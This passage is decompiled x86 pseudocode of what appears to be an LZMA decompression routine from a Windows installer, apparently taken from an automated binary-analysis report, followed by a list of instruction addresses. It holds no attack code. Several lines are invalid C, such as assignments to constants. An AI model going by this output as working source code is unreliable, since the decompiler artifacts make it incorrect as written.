												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406dfb
0x00406dfb
0x00406dff
0x00406e28
0x00406e32
0x00406e01
0x00406e0a
0x00406e17
0x00406e1a
0x0040715e
0x0040715e
0x00407161
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x004071af
0x004071b3
0x00407362
0x00407378
0x00407380
0x00407387
0x00407389
0x00407390
0x00407394
0x00407394
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x004071d4
0x004071d4
0x004071da
0x004071da
0x00406976
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x0040715e
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b44
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00406b5b
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00000000
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
